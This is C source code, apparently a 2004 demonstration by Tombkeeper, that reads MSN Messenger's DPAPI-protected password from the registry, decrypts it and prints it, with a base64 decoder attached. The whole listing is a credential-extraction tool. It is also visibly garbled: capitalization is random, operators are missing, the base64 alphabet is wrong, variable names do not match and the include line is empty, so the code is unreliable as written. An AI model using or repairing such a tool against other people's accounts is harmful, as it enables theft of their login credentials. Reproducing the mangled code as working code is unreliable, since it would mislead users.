Demonstrates the MSNMessenger password from the registry
Author:
Tombkeeper (T0MBKEEPER_AT_HOTMAIL.COM)
/ * MsnMessenger's password is saved in the registry after DPAPI encryption
* This program demonstrates the decoding process
* Tombkeeper [0x40] nsfocus [0x2e] COM
* Tombkeeper [0x40] xfocus [0x2e] net
* 2004.08.11
* /
#include
#pragma comment (Lib, "Advapi32.lib")
#define fchk (a) IF (! (a)) {Printf (#a "failed / n"); return 0;}
TypedEf struct _cryptoAPi_blob {
DWORD CBDATA;
BYTE * PBDATA;
} DATA_BLOB;
Typedef struct_pryptprotect_promptstruct {
DWORD CBSIZE;
DWORD DWPROMPTFLAGS;
HWND HWNDAPP;
LPCWSTR SZPROMPT;
} Cryptprotect_promptstruct, * pcryptprotect_promptstruct;
Typedef Bool (WinApi * PcryptunprotectData)
Data_blob * pdatain,
LPWSTR * PPSZDATADESCR,
Data_blob * POPTIONALENTROPY,
PVOID PVRESERVED,
Cryptprotect_PromptStruct * Ppromptstruct,
DWORD DWFLAGS,
Data_blob * pdataout
);
PcryptunProtectData CryptunprotectData = NULL;
Int main (void)
{
int R;
HModule HNTDLL;
HKEY HKEY;
DWORD DWTYPE;
Char Data [0x100] = {0};
DWORD DWSIZE;
Data_blob datain;
Data_blob dataout;
Ret = regopenkeyex
(
HKEY_CURRENT_USER,
"Software // Microsoft // MsnMessenger",
0,
Key_Read,
& HKey
);
IF (RET! = Error_Success) Return 1;
Ret = RegQueryValueex
(
HKEY,
"Password.Net Messenger Service",
NULL,
& dwtype,
Data,
& dwsize
);
IF (RET! = Error_Success) Return 1;
FCHK ((hnts = loadinglibrary ("crypt32.dll"))! = Null);
FCHK ((CryptunprotectData = (PcryptunprotectData)
GetProcaddress (HNTDLL, "CRYPTUNPROTECTDATA")! = Null);
Datain.pbdata = DATA 2; // 口 密 文 From the second position
Datain.cbdata = dwsize-2;
CryptunprotectData
(
& Datain,
NULL,
NULL,
NULL,
NULL,
1,
& Dataout
);
Base64_decode (DataOut.pbdata, Data, Strlen (DataOut.pbdata); Printf ("MSN Password:% S / N", DATA);
Return 0;
}
// Copied from GNU Libc - Libc / Resolv / Base64.c
Int base64_decode (char const * src, char * target, size_t targsize)
{
STATIC const char base64 [] =
"Abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyz0123456789 /";
Static const char PAD64 = '=';
Int Tarindex, State, CH;
Char * pos;
STATE = 0;
TARINDEX = 0;
While ((ch = * src )! = '/ 0')
{
IF (Isspace (CH)) / * Skip Whitespace Anywhere. * /
CONTINUE;
IF (CH == PAD64)
Break;
POS = Strchr (Base64, CH);
IF (POS == 0) / * a non-base64 character. * /
Return (-1);
Switch (state)
{
Case 0:
IF (Target)
{
IF ((size_t) Tarindex> = targsize)
Return (-1);
Target [tarindex] = (POS - Base64) << 2;
}
State = 1;
Break;
Case 1:
IF (Target)
{
IF ((size_t) Tarindex 1> = targsize)
Return (-1);
Target [tarindex] | = (POS - BASE64) >> 4;
Target [tarindex 1] = ((POS - Base64) & 0x0f) << 4;
}
TARINDEX ;
STATE = 2;
Break;
Case 2:
IF (Target)
{
IF ((size_t) Tarindex 1> = targsize)
Return (-1);
Target [tarindex] | = (POS - BASE64) >> 2;
Target [tarindex 1] = ((POS - Base64) & 0x03) << 6;
}
TARINDEX ;
State = 3;
Break;
Case 3:
IF (Target)
{
IF ((size_t) Tarindex> = targsize)
Return (-1);
Target [tarindex] | = (POS - base64);
}
TARINDEX ;
STATE = 0;
Break;
DEFAULT:
Abort ();
}
}
/ *
* WE Are Done Decoding Base-64 Chars. Let's See if We ended
* ON A Byte Boundary, And / or With Erroneous Trailing Characters. * /
IF (CH == PAD64)
{/ * We got a pad char. * /
CH = * SRC ; / * Skip it, get next. * /
Switch (state)
{
Case 0: / * invalid = in first position * /
Case 1: / * invalid = in second position * /
Return (-1);
Case 2: / * valid, means one byte of info * /
/ * SKIP Any Number of Spaces. * /
For ((void) null; ch! = '/ 0'; CH = * src )
IF (! Isspace (CH))
Break;
/ * Make Sure there is another trailing = sign. * /
IF (ch! = pad64)
Return (-1);
CH = * SRC ; / * Skip the = * /
/ * Fall Through To "Single Trailing =" CASE. * /
/ * Fallthrough * /
Case 3: / * valid, means two bytes of info * /
/ *
* We know this char is an =. Is there anything but
* Whitespace After IT?
* /
For ((void) null; ch! = '/ 0'; CH = * src )
IF (! Isspace (CH))
Return (-1);
/ *
* Now make Sure for Cases 2 and 3 That The "extra"
* Bits That Slopped Past The Last Full Byte Were
* Zeros. if we don't check theme, They Become A
* Subliminal Channel.
* /
IF (Target && Target [TARINDEX]! = 0)
Return (-1);
}
}
Else
{
/ *
* WE ended by seeing the end of the string. Make Sure WE
* Have no partial bytes lying arround.
* /
IF (State! = 0)
Return (-1);
}
Return (TarIndex);
}